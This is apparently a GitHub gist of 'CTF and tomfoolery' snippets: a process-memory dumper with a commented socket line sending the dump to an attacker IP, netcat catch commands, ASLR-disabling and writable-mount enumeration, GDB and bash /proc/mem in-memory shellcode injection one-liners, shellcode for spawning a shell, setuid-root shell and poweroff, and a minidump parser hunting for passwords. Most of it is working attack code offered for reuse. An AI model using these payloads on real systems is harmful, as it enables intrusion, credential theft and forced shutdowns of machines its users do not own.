Skip to content

Instantly share code, notes, and snippets.

@AlLongley
Last active September 18, 2023 06:05
Show Gist options
  • Save AlLongley/97e115ff4862ce509ad87e878d1e9c03 to your computer and use it in GitHub Desktop.
Save AlLongley/97e115ff4862ce509ad87e878d1e9c03 to your computer and use it in GitHub Desktop.
AlLongley's HAX: Assorted CTF and tomfoolery snippets
#! /usr/bin/env python3
import sys,re,socket,os,pty;
'''
Open process `pid` and iterate through all readable memory maps and grab a copy
Useful for exfiltrating sensitive processes on remote CTF hosts to pipe back to hackerbox for offline analysis of secrets
'''
pid = 1234
# maps contains the mapping of memory of a specific project
map_file = f"/proc/{pid}/maps"
mem_file = f"/proc/{pid}/mem"
out = b''
# iterate over regions
with open(map_file, 'r') as map_f, open(mem_file, 'rb', 0) as mem_f:
for line in map_f.readlines(): # for each mapped region
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m.group(3) == 'r': # readable region
start = int(m.group(1), 16)
end = int(m.group(2), 16)
mem_f.seek(start) # seek to region start
print(hex(start), '-', hex(end))
try:
chunk = mem_f.read(end - start) # read region contents
out = out+chunk
except OSError:
print(hex(start), '-', hex(end), '[error,skipped]', file=sys.stderr)
continue
# do something with `out`
with open("f{pid}.dump",'wb') as fd:
fd.write(out)
# Pipe the process's memory back to an attack box
# Catch it on the attack box with:
# nc -nlvp 443 > mem.dump
#s=socket.socket();s.connect(("10.10.14.X",443));s.send(out);s.close()

Get ASLR status

cat /proc/sys/kernel/randomize_va_space

Spawn a session with ASLR disabled using setarch "personalities"

https://man7.org/linux/man-pages/man2/personality.2.html

setarch `uname -m` -R /bin/bash

List all mount points

cat /proc/mounts | cut -d' ' -f2

List all writeable mounts

for mountpoint in $(cat /proc/mounts | cut -d' ' -f2); do if [ -w $mountpoint ]; then echo "$mountpoint"; fi; done

xxd Cheatsheet

https://github.com/mivang/cheatsheets/blob/master/xxd

LOLmemexec

Reference:

https://blog.sektor7.net/#!res/2018/pure-in-memory-linux.md

https://deepsec.net/docs/Slides/2018/Pure_In-Memory_(Shell)Code_Injection_in_Linux_Userland_reenz0h.pdf

LOLmemexec via GDB

Replace {0x90,0x90} with your assembled payload

gdb /bin/bash

break main
r
set (char[9001])*(int*)$rip = {0x90, 0x90}
c
q

one-liner

gdb -q -ex "break main" -ex "r" -ex 'set (char[9001])*(int*)$rip = {0x90, 0x90}' -ex "c" -ex "q" /bin/bash

LOLmemexec via Python

PYTHON2 payload execution wrapper:

https://gist.github.com/Und3rf10w/b2d4aa07856ab6bfadce86f19e41e38f#file-sektor7_inmemory_linux_shellcode_injection-py

Attacker:

cat shellcode_inject.py | base64 -w

Victim:

echo "exec('<base64_payload>').decode('base64'))" | python2

x86 Payloads

Execute shell

https://www.exploit-db.com/shellcodes/41183

B64:
Mfb35lJSUlRbU1/HBy9iaW7HRwQvL3NoQHUEsDsPBTHJsAvNgA==

HEX:
\x31\xf6\xf7\xe6\x52\x52\x52\x54\x5b\x53\x5f\xc7\x07\x2f\x62\x69\x6e\xc7\x47\x04\x2f\x2f\x73\x68\x40\x75\x04\xb0\x3b\x0f\x05\x31\xc9\xb0\x0b\xcd\x80

0x31,0xf6,0xf7,0xe6,0x52,0x52,0x52,0x54,0x5b,0x53,0x5f,0xc7,0x07,0x2f,0x62,0x69,0x6e,0xc7,0x47,0x04,0x2f,0x2f,0x73,0x68,0x40,0x75,0x04,0xb0,0x3b,0x0f,0x05,0x31,0xc9,0xb0,0x0b,0xcd,0x80

C:
//int 0x80 / syscall()
execve("/bin//sh")

SetUID root + execute shell (XOR encoded)

https://www.exploit-db.com/shellcodes/14219

B64:
6xFeMcmxJoB0Dv8BgOkBdfbrBejq////MMEw2jDIMNOxRzDaMMjMgbEKUmkuLnJpaS5jaG+I4jDIMMhSzIE=

HEX:
\xeb\x11\x5e\x31\xc9\xb1\x26\x80\x74\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x30\xc1\x30\xda\x30\xc8\x30\xd3\xb1\x47\x30\xda\x30\xc8\xcc\x81\xb1\x0a\x52\x69\x2e\x2e\x72\x69\x69\x2e\x63\x68\x6f\x88\xe2\x30\xc8\x30\xc8\x52\xcc\x81

0xeb,0x11,0x5e,0x31,0xc9,0xb1,0x26,0x80,0x74,0x0e,0xff,0x01,0x80,0xe9,0x01,0x75,0xf6,0xeb,0x05,0xe8,0xea,0xff,0xff,0xff,0x30,0xc1,0x30,0xda,0x30,0xc8,0x30,0xd3,0xb1,0x47,0x30,0xda,0x30,0xc8,0xcc,0x81,0xb1,0x0a,0x52,0x69,0x2e,0x2e,0x72,0x69,0x69,0x2e,0x63,0x68,0x6f,0x88,0xe2,0x30,0xc8,0x30,0xc8,0x52,0xcc,0x81

echo LOL\n

https://onlinedisassembler.com/odaweb/nEAKnRwx/0

B64:
aExPTApUXmoEagFqAl9YWg8F

HEX:
\x68\x4c\x4f\x4c\x0a\x54\x5e\x6a\x04\x6a\x01\x6a\x02\x5f\x58\x5a\x0f\x05

0x68,0x4c,0x4f,0x4c,0x0a,0x54,0x5e,0x6a,0x04,0x6a,0x01,0x6a,0x02,0x5f,0x58,0x5a,0x0f,0x05

C:
sys_write( STDOUT, *ESP("LOL\n"), 4);

poweroff

https://www.exploit-db.com/exploits/13688

B64:
utz+IUO+aRkSKL+t3uH+McCwqQ8F

C:
sys_reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, LINUX_REBOOT_CMD_POWER_OFF); // 0xfee1dead, 0x28121969, 0x4321fedc

Bash execution wrappers

Provide $B64PAYLOAD

base64 -d<<< $B64PAYLOAD |dd seek=1 bs=$((`objdump -d /*/dd|grep ll.*\<w|sed 's/\([0-9a-f]\+\):.*/0x\1+5/'`)) of=/proc/self/mem
cd /proc/$$;exec 3>mem;(base64 -d<<< $B64PAYLOAD ;yes $'\xeb\xfc'|tr -d '\n')|dd bs=1 seek=$((0x$(grep vdso -m1 maps|cut -f1 -d-)))>&3

Spawn the dd process, decode our B64-encoded ASM payload into raw bytes, and pipe it into our shell's process memory-space, overwriting the code at the current instruction pointer (executed next).

This can't be run from /bin/sh, only tested working with bash

if=<(base64 -d<<< $B64PAYLOAD)

Take in our BASE64 payload and decode it, and use it as the source for DDs input file

of=/proc/$$/mem

We are going to be writing into the memory of the parent process ($$) of dd which is our shell

seek=$(($(cut -d" " -f9&lt;/proc/$$/syscall)))

Get our shell's next instruction pointer by looking up details of the current SYSCALL being executed. It is printed 9th according to Linux kernels fs/proc/base.c

conv=notrunc

Do not open the memory-space in TRUNCATE mode, for some reason

dd of=/proc/$$/mem bs=1 seek=$(($(cut -d" " -f9</proc/$$/syscall))) if=<(base64 -d<<<$B64PAYLOAD) conv=notrunc

My variant of the above

Spawn a disposable bash straight into a sys_wait4 syscall with sleep, otherwise the proc syscall written to from dd is invalid

export B64PAYLOAD=aExPTApUXmoEagFqAl9YWg8F
bash -c 'sleep 1 & dd if=<(base64 -d<<< $B64PAYLOAD) of=/proc/$$/mem bs=1 seek=$(($(cut -d" " -f9</proc/$$/syscall))) conv=notrunc status=none'

Shortest payload I've found

cd /*/$$;read a<*l;exec 3>mem;base64 -d<<<$B64PAYLOAD|dd bs=1 seek=$[`cut -d\  -f9<<<$a`]>&3

Bubble-wrapped in a disposable shell

export B64PAYLOAD=aExPTApUXmoEagFqAl9YWg8F
bash -c 'sleep 1 & cd /*/$$;read a<*l;exec 3>mem;base64 -d<<<$B64PAYLOAD|dd bs=1 seek=$[`cut -d\  -f9<<<$a`]>&3'
; PRINT "BONK" to stdout
;
; ELF binary ./print_BONK
; nasm -f elf64 print_BONK.S && ld -s -o print_BONK print_BONK.o
;
; HEX C (include) payload { 0x00, 0x00 }
; nasm print_BONK.S -o print_BONK.raw && xxd -i print_BONK.raw | tr -d "\n" ; echo
;
; { 0xeb, 0x1e, 0x5e, 0x48, 0x31, 0xc0, 0xb0, 0x01, 0x48, 0x89, 0xc7, 0x48, 0x89, 0xfa, 0x48, 0x83, 0xc2, 0x06, 0x0f, 0x05, 0x48, 0x31, 0xc0, 0x48, 0x83, 0xc0, 0x3c, 0x48, 0x31, 0xff, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff, 0xff, 0x42, 0x4f, 0x4e, 0x4b, 0x0a, 0x00};
;
; \xeb\x1e\x5e\x48\x31\xc0\xb0\x01\x48\x89\xc7\x48\x89\xfa\x48\x83\xc2\x06\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdd\xff\xff\xff\x42\x4f\x4e\x4b\x0a\x00
bits 64
;
; 6x5eSDHAsAFIicdIifpIg8IGDwVIMcBIg8A8SDH/DwXo3f///0JPTksKAA==
global start
start:
jmp short message
print: ; syscall write(0, [arg[0]], mlen)
pop rsi
xor rax, rax
mov al, 1
mov rdi, rax
mov rdx, rdi
add rdx, mlen
syscall
exit: ; syscall exit(0)
xor rax, rax
add rax, 60
xor rdi, rdi
syscall
message:
call print
msg: db 'BONK',0x0A, 0x00
mlen equ $ - msg
from minidump import minidumpfile
import string
mdf = minidumpfile.MinidumpFile.parse("BONK.dmp")
segments = mdf.memory_segments.memory_segments
def str_find_all(a_str, sub):
start = 0
while True:
start = a_str.find(sub, start)
if start == -1:
return
yield start
start += 1
data = b''
for segment in segments:
data += segment.read(segment.start_virtual_address, segment.size, mdf.file_handle)
# Print whole stream of all printable characters in the memory dump
# print(''.join([chr(x) for x in data if chr(x) in string.printable]))
# Print all instances in memory of a given keyword
for i in str_find_all(data,b"ssword"):
print(data[i-10:i+20])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment